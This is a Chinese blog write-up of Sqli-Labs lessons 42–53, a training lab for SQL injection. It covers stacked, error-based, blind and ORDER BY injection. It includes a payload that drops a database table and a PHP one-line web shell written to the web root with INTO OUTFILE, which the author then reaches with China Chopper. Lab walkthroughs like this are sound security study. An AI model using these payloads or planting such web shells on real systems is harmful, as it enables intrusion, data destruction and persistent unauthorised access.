Sqli-Labs 闯关 less 42-53

Less 42:

我们发现本关与之前的一个关卡神似,就是利用二次注入修改admin的密码,但与本关肯定不同。。。

首先我们查看本关的index.php文件,发现username的值中单引号进行了转义,而password没有进行处理,说明我们可以对password进行注入,还有就是对username和password都用单引号进行了包裹。。。

 

 

打开火狐浏览器右上角的Firebug,进行页面源代码编辑,将Password的类型改为text,使其明文显示方便我们查看。。。

 

我们先查表有junjie,然后用户名随便输一个a,密码输s';drop table junjie;#返回错误,再查表,发现成功删除。。。

 

 

Less 43:

与Less 42的区别在于本关的用户名和密码使用的是('username')('password')进行包裹,其余均相同。。。

Less 44:

与Less 42唯一的区别在于没有报错信息,其余均相同。。。

Less 45:

与Less 43唯一的区别在于没有报错信息,其余均相同。。。

补充:使用堆叠注入写入一句话木马。。。

条件:

1. 获得root 写权限

2.会写一句话木马

3.select xxx into outfile xxx

4.知道绝对路径

构造语句:

select '<?php @eval($_POST[junjie]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\junjie.php';#

这里要用双斜杠,因为在pycharm中单斜杠会被替换。。。

我们将构造语句使用堆叠注入的方法写入Less 45中执行,返回错误,我们打开刚才写入的网站根目录进行查看,发现写入成功。。。

 

 

 

 之后再使用中国菜刀进行访问即可获得更高权限。。。

Less 46:

补充知识:

 

 

 

 

参考链接:https://www.cnblogs.com/SZxiaochun/p/6027450.html

 

 

 

 

 

 接下来我们打开Less 46,根据页面提示,输入?sort=1返回一个表。。。

 

再输入?sort=2查看返回信息,发现order by后面变成2,数据按照第2列进行排列,我们试一下在后面加上desc,发现数据成功降序排列,说明此处存在注入点。。。

 

 使用union select联合查询,返回错误,有返回报错信息,说明存在报错注入。。。

 

 方法一:使用updatexml报错注入。。。

根据上一步返回的报错信息,前面有select,再报错注入前要删掉select,成功进行查库,之后替换database()进行操作即可。。。

 

 方法二:使用基于时间的盲注。。。

还是把select去掉,返回正确。。。

 

 Less 47:

与Less 46唯一的区别是order by'3',其余均相同。。。

Less 48:

与Less 46唯一的区别是没有报错信息,所以不能使用报错注入,其余均相同。。。

Less 49:

与Less 47唯一的区别是没有报错信息,所以不能使用报错注入,其余均相同。。。

总结:

?id=

?sort=

select * from users where id=xxx

select * from users order by xxx

Less 46-49 报错注入,时间盲注

有的以''进行包裹

select *** into outfile ''以Less 49为例写入文件,发现写入成功。。。

 

我们再写入一句话木马,发现文件虽然创建了,但没有写入一句话木马。。。

 

 

 

 我们使用之前补充知识里的lines terminated by 0xXXX试一下,发现成功创建并写入一句话木马。。。

 

 

 

Less 50:

我们首先输入?sort=1返回正确,查看本关的index.php文件与Less 46-49的不同。。。

在本关中使用了mysqli_multi_query()函数(https://www.runoob.com/php/func-mysqli-multi-query.html)

而在Less 46-49中使用了mysqli_fetch_assoc()函数(https://www.runoob.com/php/func-mysqli-fetch-assoc.html)

区别在于本关可以使用堆叠注入,下面是总结:

 

 Less 51:

与Less 50唯一的区别在于使用?sort=1'进行了包裹,其余均相同。。。

Less 52:

与Less 50唯一的区别在于没有报错信息,无法使用报错注入,其余均相同。。。

Less 53:

与Less 51唯一的区别在于没有报错信息,无法使用报错注入,其余均相同。。。

 

posted @ 2020-03-11 20:00  强霸卓奇霸  阅读(192)  评论(0)    收藏  举报
https://blog-static.cnblogs.com/files/xiaokang01/js.js 这是添加的文件的链接 color="240,230,140" 粒子的颜色设置 opacity="1" 粒子的透明度 count="75" 粒子的个数